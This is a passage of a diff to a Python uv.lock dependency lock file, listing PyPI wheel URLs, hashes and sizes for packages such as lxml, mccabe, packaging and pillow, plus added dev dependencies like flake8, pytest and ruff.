"https://files.pythonhosted.org/packages/31/31/b35c53f8ef7b7c31cacd23d3638652fff7bcd1deb6eedb709ab43b685908/lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465", size = 4737635, upload-time = "2026-05-18T19:19:12.321Z" }, + { url = "https://files.pythonhosted.org/packages/d9/06/31f23c813a7fe8e0cb1b175e915b08c9bf4e86d225b210feadbdbe519667/lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a", size = 5670681, upload-time = "2026-05-18T19:19:15.001Z" }, + { url = "https://files.pythonhosted.org/packages/1a/bc/ce619bccc89b1fd9ad8a8e1330ee3f3beff9f2ff95b712d7bbcdd6e22fc3/lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590", size = 5238229, upload-time = "2026-05-18T19:19:18.131Z" }, + { url = "https://files.pythonhosted.org/packages/2f/5d/b329acbbedc0b619ebc2be6cf7ee9ed07e80892c88d4dfd612c33805789a/lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb", size = 5264191, upload-time = "2026-05-18T19:19:21.118Z" }, + { url = "https://files.pythonhosted.org/packages/d6/85/be36fb1425b30db3c3f9df75fe86343ebffb79e6320bd7f588e25bfeac39/lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603", size = 3657202, upload-time = "2026-05-18T19:17:39.509Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ce/3cf9a827342269f54d405a6202397de63f07c69cbd6ce7d183a3f0cba1e9/lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137", size = 4064497, upload-time = "2026-05-18T19:18:14.662Z" }, + { url = "https://files.pythonhosted.org/packages/d9/3e/1a957bde8f0760039e627f94699f82caa782c9d838d86c3d28245ee67212/lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf", size = 3741991, upload-time = "2026-05-19T19:22:59.111Z" }, + { url = "https://files.pythonhosted.org/packages/78/b2/00ed55b3a2efa4658fb795c38d1090ec9b3e8a6c3683d4441fa517f09c3b/lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee", size = 8827545, upload-time = "2026-05-18T19:18:41.193Z" }, + { url = "https://files.pythonhosted.org/packages/c0/73/74573db19baa618d5f266f2407898b087ff6927115b00b71e5fc1b700847/lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c", size = 4735736, upload-time = "2026-05-18T19:18:46.761Z" }, + { url = "https://files.pythonhosted.org/packages/16/02/6f7061f4f95f51e545d48e87647c54791d204a4e881be4156e7a26ba5338/lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef", size = 4970291, upload-time = "2026-05-18T19:19:56.215Z" }, + { url = "https://files.pythonhosted.org/packages/b0/02/55fc057d8283427dea7d6edb102e7a840239c77a64a983d92f62a304c0e9/lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a", size = 5102822, upload-time = "2026-05-18T19:19:59.223Z" }, + { url = "https://files.pythonhosted.org/packages/e4/48/8e1cf78d89d66850121d9255a2a24414c98f775da93b90cf976956c24b14/lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c", size = 5027923, upload-time = "2026-05-18T19:20:01.549Z" }, + { url = "https://files.pythonhosted.org/packages/ed/00/0632a0647612c8af24d26997b3b961397daa9d5b2581444805933629a4cb/lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525", size = 5595843, upload-time = "2026-05-18T19:20:03.93Z" }, + { url = "https://files.pythonhosted.org/packages/bc/86/ab008a7dc360711b66858d61c80a5979a70a09f2aa2b05d9698df80b803d/lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca", size = 5224515, upload-time = "2026-05-18T19:20:06.381Z" }, + { url = "https://files.pythonhosted.org/packages/75/c6/2702ff375e728e34f56d9a45339a9cf7e4427e917f542225242d63a05afa/lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e", size = 5312511, upload-time = "2026-05-18T19:20:09.308Z" }, + { url = "https://files.pythonhosted.org/packages/b7/57/a5807c98f87a86f10ef9ffab35516df7c0f0c4b6d5d33e9f608ab9c04a31/lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038", size = 4639206, upload-time = "2026-05-18T19:20:11.704Z" }, + { url = "https://files.pythonhosted.org/packages/1f/e1/8a0a2c35734812395f4da4eaf33748a7e5705bfb2a58b128da764339d5ec/lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e", size = 5232404, upload-time = "2026-05-18T19:20:14.064Z" }, + { url = "https://files.pythonhosted.org/packages/c2/e2/0e6a4dd5ad84d01d99aa7bae7cfefd4a760a0e0f8176818241de17d9b6c0/lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072", size = 5083769, upload-time = "2026-05-18T19:19:23.758Z" }, + { url = "https://files.pythonhosted.org/packages/a0/7e/161f33d463f6ffc1c7679104b65086dea120080d49dde4d238f015aaee2f/lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52", size = 4758936, upload-time = "2026-05-18T19:19:27.256Z" }, + { url = "https://files.pythonhosted.org/packages/f1/fb/2369825e3f6ca99305bf9f7b7085fda91c8b0922a89e54d900974aa3ef85/lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b", size = 5620296, upload-time = "2026-05-18T19:19:29.993Z" }, + { url = "https://files.pythonhosted.org/packages/30/90/d61e383146f74c5ab683947ea14dc7b82778838ab9b95ea73a23b60d0191/lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2", size = 5228598, upload-time = "2026-05-18T19:19:33.523Z" }, + { url = "https://files.pythonhosted.org/packages/76/2d/2dafd8149e94b05bb070690efd5bb2680720681e03ff03fc57d2b70a1105/lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e", size = 5247845, upload-time = "2026-05-18T19:19:36.649Z" }, + { url = "https://files.pythonhosted.org/packages/ce/68/b30e913340c380ddac9580c6e6230991fc37240ec4f64704833e4f3e2769/lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1", size = 3897345, upload-time = "2026-05-18T19:17:33.562Z" }, + { url = "https://files.pythonhosted.org/packages/3c/4e/9eb2af5335545f9fbcd7af57bcf87c6025d31eaa31b14ec184a6c8675328/lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e", size = 4393350, upload-time = "2026-05-18T19:18:10.076Z" }, + { url = "https://files.pythonhosted.org/packages/7f/2c/0f1e93c636720e8a3eb59af2bfda99d98b55891e1c53bc30c2e0e865f01b/lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c", size = 3817223, upload-time = "2026-05-19T19:22:56.823Z" }, + { url = "https://files.pythonhosted.org/packages/b5/32/86a3f0f724a3a402d4627937a7fc27b160e45e7012b4adf47f6e1e844511/lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e", size = 3930127, upload-time = "2026-05-18T19:19:02.27Z" }, + { url = "https://files.pythonhosted.org/packages/40/44/d832e82af08723761556d004b1d04d281c09f9a8cecd7d3148548c9941a3/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004", size = 4210769, upload-time = "2026-05-18T19:20:41.427Z" }, + { url = "https://files.pythonhosted.org/packages/6d/39/0dc5949f759ed7d951e0bb8c2f2d9d7aca1908d22352fa84a8afd2ea54af/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e", size = 4318163, upload-time = "2026-05-18T19:20:44.702Z" }, + { url = "https://files.pythonhosted.org/packages/e6/fb/8ab3845fe046ba4cbf74536bcf6801a774b7caf4350de1c5d37f1f0a9e90/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2", size = 4250945, upload-time = "2026-05-18T19:20:47.385Z" }, + { url = "https://files.pythonhosted.org/packages/68/1b/7553ab136894374ffae8851ec06f98f511cd8e66246e41b6be059d0a7289/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf", size = 4401664, upload-time = "2026-05-18T19:20:50.489Z" }, + { url = "https://files.pythonhosted.org/packages/db/a4/441aee36c6f6b249823d20fd91f9be9ab89d7c5a8ae542a4a4ca6d342d56/lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84", size = 3508989, upload-time = "2026-05-18T19:18:38.158Z" }, ] [[package]] @@ -1170,6 +1193,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/9b/e1/4986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e/masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b", size = 285166, upload-time = "2025-08-15T22:16:19.663Z" }, ] +[[package]] +name = "mccabe" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" }, +] + [[package]] name = "mdurl" version = "0.1.2" @@ -1283,6 +1315,14 @@ dependencies = [ { name = "xmltodict" }, ] +[package.dev-dependencies] +dev = [ + { name = "flake8" }, + { name = "pytest" }, + { name = "ruff" }, + { name = "shiv" }, +] + [package.metadata] requires-dist = [ { name = "aardwolf", specifier = ">=0.2.8" }, @@ -1318,6 +1358,14 @@ requires-dist = [ { name = "xmltodict", specifier = ">=0.13.0" }, ] +[package.metadata.requires-dev] +dev = [ + { name = "flake8" }, + { name = "pytest", specifier = ">=7.2.2,<8" }, + { name = "ruff", specifier = "==0.11.0" }, + { name = "shiv" }, +] + [[package]] name = "oscrypto" version = "1.3.0" @@ -1326,6 +1374,15 @@ dependencies = [ { name = "asn1crypto" }, ] +[[package]] +name = "packaging" +version = "26.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" }, +] + [[package]] name = "paramiko" version = "5.0.0" @@ -1352,100 +1409,114 @@ wheels = [ [[package]] name = "pillow" -version = "12.2.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8c/21/c2bcdd5906101a30244eaffc1b6e6ce71a31bd0742a01eb89e660ebfac2d/pillow-12.2.0.tar.gz", hash = "sha256:a830b1a40919539d07806aa58e1b114df53ddd43213d9c8b75847eee6c0182b5", size = 46987819, upload-time = "2026-04-01T14:46:17.687Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/3a/aa/d0b28e1c811cd4d5f5c2bfe2e022292bd255ae5744a3b9ac7d6c8f72dd75/pillow-12.2.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:a4e8f36e677d3336f35089648c8955c51c6d386a13cf6ee9c189c5f5bd713a9f", size = 5354355, upload-time = "2026-04-01T14:42:15.402Z" }, - { url = "https://files.pythonhosted.org/packages/27/8e/1d5b39b8ae2bd7650d0c7b6abb9602d16043ead9ebbfef4bc4047454da2a/pillow-12.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2e589959f10d9824d39b350472b92f0ce3b443c0a3442ebf41c40cb8361c5b97", size = 4695871, upload-time = "2026-04-01T14:42:18.234Z" }, - { url = "https://files.pythonhosted.org/packages/f0/c5/dcb7a6ca6b7d3be41a76958e90018d56c8462166b3ef223150360850c8da/pillow-12.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a52edc8bfff4429aaabdf4d9ee0daadbbf8562364f940937b941f87a4290f5ff", size = 6269734, upload-time = "2026-04-01T14:42:20.608Z" }, - { url = "https://files.pythonhosted.org/packages/ea/f1/aa1bb13b2f4eba914e9637893c73f2af8e48d7d4023b9d3750d4c5eb2d0c/pillow-12.2.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:975385f4776fafde056abb318f612ef6285b10a1f12b8570f3647ad0d74b48ec", size = 8076080, upload-time = "2026-04-01T14:42:23.095Z" }, - { url = "https://files.pythonhosted.org/packages/a1/2a/8c79d6a53169937784604a8ae8d77e45888c41537f7f6f65ed1f407fe66d/pillow-12.2.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd9c0c7a0c681a347b3194c500cb1e6ca9cab053ea4d82a5cf45b6b754560136", size = 6382236, upload-time = "2026-04-01T14:42:25.82Z" }, - { url = "https://files.pythonhosted.org/packages/b5/42/bbcb6051030e1e421d103ce7a8ecadf837aa2f39b8f82ef1a8d37c3d4ebc/pillow-12.2.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:88d387ff40b3ff7c274947ed3125dedf5262ec6919d83946753b5f3d7c67ea4c", size = 7070220, upload-time = "2026-04-01T14:42:28.68Z" }, - { url = "https://files.pythonhosted.org/packages/3f/e1/c2a7d6dd8cfa6b231227da096fd2d58754bab3603b9d73bf609d3c18b64f/pillow-12.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:51c4167c34b0d8ba05b547a3bb23578d0ba17b80a5593f93bd8ecb123dd336a3", size = 6493124, upload-time = "2026-04-01T14:42:31.579Z" }, - { url = "https://files.pythonhosted.org/packages/5f/41/7c8617da5d32e1d2f026e509484fdb6f3ad7efaef1749a0c1928adbb099e/pillow-12.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:34c0d99ecccea270c04882cb3b86e7b57296079c9a4aff88cb3b33563d95afaa", size = 7194324, upload-time = "2026-04-01T14:42:34.615Z" }, - { url = "https://files.pythonhosted.org/packages/2d/de/a777627e19fd6d62f84070ee1521adde5eeda4855b5cf60fe0b149118bca/pillow-12.2.0-cp310-cp310-win32.whl", hash = "sha256:b85f66ae9eb53e860a873b858b789217ba505e5e405a24b85c0464822fe88032", size = 6376363, upload-time = "2026-04-01T14:42:37.19Z" }, - { url = "https://files.pythonhosted.org/packages/e7/34/fc4cb5204896465842767b96d250c08410f01f2f28afc43b257de842eed5/pillow-12.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:673aa32138f3e7531ccdbca7b3901dba9b70940a19ccecc6a37c77d5fdeb05b5", size = 7083523, upload-time = "2026-04-01T14:42:39.62Z" }, - { url = "https://files.pythonhosted.org/packages/2d/a0/32852d36bc7709f14dc3f64f929a275e958ad8c19a6deba9610d458e28b3/pillow-12.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:3e080565d8d7c671db5802eedfb438e5565ffa40115216eabb8cd52d0ecce024", size = 2463318, upload-time = "2026-04-01T14:42:42.063Z" }, - { url = "https://files.pythonhosted.org/packages/68/e1/748f5663efe6edcfc4e74b2b93edfb9b8b99b67f21a854c3ae416500a2d9/pillow-12.2.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:8be29e59487a79f173507c30ddf57e733a357f67881430449bb32614075a40ab", size = 5354347, upload-time = "2026-04-01T14:42:44.255Z" }, - { url = "https://files.pythonhosted.org/packages/47/a1/d5ff69e747374c33a3b53b9f98cca7889fce1fd03d79cdc4e1bccc6c5a87/pillow-12.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:71cde9a1e1551df7d34a25462fc60325e8a11a82cc2e2f54578e5e9a1e153d65", size = 4695873, upload-time = "2026-04-01T14:42:46.452Z" }, - { url = "https://files.pythonhosted.org/packages/df/21/e3fbdf54408a973c7f7f89a23b2cb97a7ef30c61ab4142af31eee6aebc88/pillow-12.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f490f9368b6fc026f021db16d7ec2fbf7d89e2edb42e8ec09d2c60505f5729c7", size = 6280168, upload-time = "2026-04-01T14:42:49.228Z" }, - { url = "https://files.pythonhosted.org/packages/d3/f1/00b7278c7dd52b17ad4329153748f87b6756ec195ff786c2bdf12518337d/pillow-12.2.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8bd7903a5f2a4545f6fd5935c90058b89d30045568985a71c79f5fd6edf9b91e", size = 8088188, upload-time = "2026-04-01T14:42:51.735Z" }, - { url = "https://files.pythonhosted.org/packages/ad/cf/220a5994ef1b10e70e85748b75649d77d506499352be135a4989c957b701/pillow-12.2.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3997232e10d2920a68d25191392e3a4487d8183039e1c74c2297f00ed1c50705", size = 6394401, upload-time = "2026-04-01T14:42:54.343Z" }, - { url = "https://files.pythonhosted.org/packages/e9/bd/e51a61b1054f09437acfbc2ff9106c30d1eb76bc1453d428399946781253/pillow-12.2.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e74473c875d78b8e9d5da2a70f7099549f9eb37ded4e2f6a463e60125bccd176", size = 7079655, upload-time = "2026-04-01T14:42:56.954Z" }, - { url = "https://files.pythonhosted.org/packages/6b/3d/45132c57d5fb4b5744567c3817026480ac7fc3ce5d4c47902bc0e7f6f853/pillow-12.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:56a3f9c60a13133a98ecff6197af34d7824de9b7b38c3654861a725c970c197b", size = 6503105, upload-time = "2026-04-01T14:42:59.847Z" }, - { url = "https://files.pythonhosted.org/packages/7d/2e/9df2fc1e82097b1df3dce58dc43286aa01068e918c07574711fcc53e6fb4/pillow-12.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:90e6f81de50ad6b534cab6e5aef77ff6e37722b2f5d908686f4a5c9eba17a909", size = 7203402, upload-time = "2026-04-01T14:43:02.664Z" }, - { url = "https://files.pythonhosted.org/packages/bd/2e/2941e42858ebb67e50ae741473de81c2984e6eff7b397017623c676e2e8d/pillow-12.2.0-cp311-cp311-win32.whl", hash = "sha256:8c984051042858021a54926eb597d6ee3012393ce9c181814115df4c60b9a808", size = 6378149, upload-time = "2026-04-01T14:43:05.274Z" }, - { url = "https://files.pythonhosted.org/packages/69/42/836b6f3cd7f3e5fa10a1f1a5420447c17966044c8fbf589cc0452d5502db/pillow-12.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:6e6b2a0c538fc200b38ff9eb6628228b77908c319a005815f2dde585a0664b60", size = 7082626, upload-time = "2026-04-01T14:43:08.557Z" }, - { url = "https://files.pythonhosted.org/packages/c2/88/549194b5d6f1f494b485e493edc6693c0a16f4ada488e5bd974ed1f42fad/pillow-12.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:9a8a34cc89c67a65ea7437ce257cea81a9dad65b29805f3ecee8c8fe8ff25ffe", size = 2463531, upload-time = "2026-04-01T14:43:10.743Z" }, - { url = "https://files.pythonhosted.org/packages/58/be/7482c8a5ebebbc6470b3eb791812fff7d5e0216c2be3827b30b8bb6603ed/pillow-12.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2d192a155bbcec180f8564f693e6fd9bccff5a7af9b32e2e4bf8c9c69dbad6b5", size = 5308279, upload-time = "2026-04-01T14:43:13.246Z" }, - { url = "https://files.pythonhosted.org/packages/d8/95/0a351b9289c2b5cbde0bacd4a83ebc44023e835490a727b2a3bd60ddc0f4/pillow-12.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f3f40b3c5a968281fd507d519e444c35f0ff171237f4fdde090dd60699458421", size = 4695490, upload-time = "2026-04-01T14:43:15.584Z" }, - { url = "https://files.pythonhosted.org/packages/de/af/4e8e6869cbed569d43c416fad3dc4ecb944cb5d9492defaed89ddd6fe871/pillow-12.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:03e7e372d5240cc23e9f07deca4d775c0817bffc641b01e9c3af208dbd300987", size = 6284462, upload-time = "2026-04-01T14:43:18.268Z" }, - { url = "https://files.pythonhosted.org/packages/e9/9e/c05e19657fd57841e476be1ab46c4d501bffbadbafdc31a6d665f8b737b6/pillow-12.2.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b86024e52a1b269467a802258c25521e6d742349d760728092e1bc2d135b4d76", size = 8094744, upload-time = "2026-04-01T14:43:20.716Z" }, - { url = "https://files.pythonhosted.org/packages/2b/54/1789c455ed10176066b6e7e6da1b01e50e36f94ba584dc68d9eebfe9156d/pillow-12.2.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7371b48c4fa448d20d2714c9a1f775a81155050d383333e0a6c15b1123dda005", size = 6398371, upload-time = "2026-04-01T14:43:23.443Z" }, - { url = "https://files.pythonhosted.org/packages/43/e3/fdc657359e919462369869f1c9f0e973f353f9a9ee295a39b1fea8ee1a77/pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62f5409336adb0663b7caa0da5c7d9e7bdbaae9ce761d34669420c2a801b2780", size = 7087215, upload-time = "2026-04-01T14:43:26.758Z" }, - { url = "https://files.pythonhosted.org/packages/8b/f8/2f6825e441d5b1959d2ca5adec984210f1ec086435b0ed5f52c19b3b8a6e/pillow-12.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:01afa7cf67f74f09523699b4e88c73fb55c13346d212a59a2db1f86b0a63e8c5", size = 6509783, upload-time = "2026-04-01T14:43:29.56Z" }, - { url = "https://files.pythonhosted.org/packages/67/f9/029a27095ad20f854f9dba026b3ea6428548316e057e6fc3545409e86651/pillow-12.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc3d34d4a8fbec3e88a79b92e5465e0f9b842b628675850d860b8bd300b159f5", size = 7212112, upload-time = "2026-04-01T14:43:32.091Z" }, - { url = "https://files.pythonhosted.org/packages/be/42/025cfe05d1be22dbfdb4f264fe9de1ccda83f66e4fc3aac94748e784af04/pillow-12.2.0-cp312-cp312-win32.whl", hash = "sha256:58f62cc0f00fd29e64b29f4fd923ffdb3859c9f9e6105bfc37ba1d08994e8940", size = 6378489, upload-time = "2026-04-01T14:43:34.601Z" }, - { url = "https://files.pythonhosted.org/packages/5d/7b/25a221d2c761c6a8ae21bfa3874988ff2583e19cf8a27bf2fee358df7942/pillow-12.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:7f84204dee22a783350679a0333981df803dac21a0190d706a50475e361c93f5", size = 7084129, upload-time = "2026-04-01T14:43:37.213Z" }, - { url = "https://files.pythonhosted.org/packages/10/e1/542a474affab20fd4a0f1836cb234e8493519da6b76899e30bcc5d990b8b/pillow-12.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:af73337013e0b3b46f175e79492d96845b16126ddf79c438d7ea7ff27783a414", size = 2463612, upload-time = "2026-04-01T14:43:39.421Z" }, - { url = "https://files.pythonhosted.org/packages/4a/01/53d10cf0dbad820a8db274d259a37ba50b88b24768ddccec07355382d5ad/pillow-12.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:8297651f5b5679c19968abefd6bb84d95fe30ef712eb1b2d9b2d31ca61267f4c", size = 4100837, upload-time = "2026-04-01T14:43:41.506Z" }, - { url = "https://files.pythonhosted.org/packages/0f/98/f3a6657ecb698c937f6c76ee564882945f29b79bad496abcba0e84659ec5/pillow-12.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:50d8520da2a6ce0af445fa6d648c4273c3eeefbc32d7ce049f22e8b5c3daecc2", size = 4176528, upload-time = "2026-04-01T14:43:43.773Z" }, - { url = "https://files.pythonhosted.org/packages/69/bc/8986948f05e3ea490b8442ea1c1d4d990b24a7e43d8a51b2c7d8b1dced36/pillow-12.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:766cef22385fa1091258ad7e6216792b156dc16d8d3fa607e7545b2b72061f1c", size = 3640401, upload-time = "2026-04-01T14:43:45.87Z" }, - { url = "https://files.pythonhosted.org/packages/34/46/6c717baadcd62bc8ed51d238d521ab651eaa74838291bda1f86fe1f864c9/pillow-12.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5d2fd0fa6b5d9d1de415060363433f28da8b1526c1c129020435e186794b3795", size = 5308094, upload-time = "2026-04-01T14:43:48.438Z" }, - { url = "https://files.pythonhosted.org/packages/71/43/905a14a8b17fdb1ccb58d282454490662d2cb89a6bfec26af6d3520da5ec/pillow-12.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:56b25336f502b6ed02e889f4ece894a72612fe885889a6e8c4c80239ff6e5f5f", size = 4695402, upload-time = "2026-04-01T14:43:51.292Z" }, - { url = "https://files.pythonhosted.org/packages/73/dd/42107efcb777b16fa0393317eac58f5b5cf30e8392e266e76e51cff28c3d/pillow-12.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f1c943e96e85df3d3478f7b691f229887e143f81fedab9b20205349ab04d73ed", size = 6280005, upload-time = "2026-04-01T14:43:54.242Z" }, - { url = "https://files.pythonhosted.org/packages/a8/68/b93e09e5e8549019e61acf49f65b1a8530765a7f812c77a7461bca7e4494/pillow-12.2.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:03f6fab9219220f041c74aeaa2939ff0062bd5c364ba9ce037197f4c6d498cd9", size = 8090669, upload-time = "2026-04-01T14:43:57.335Z" }, - { url = 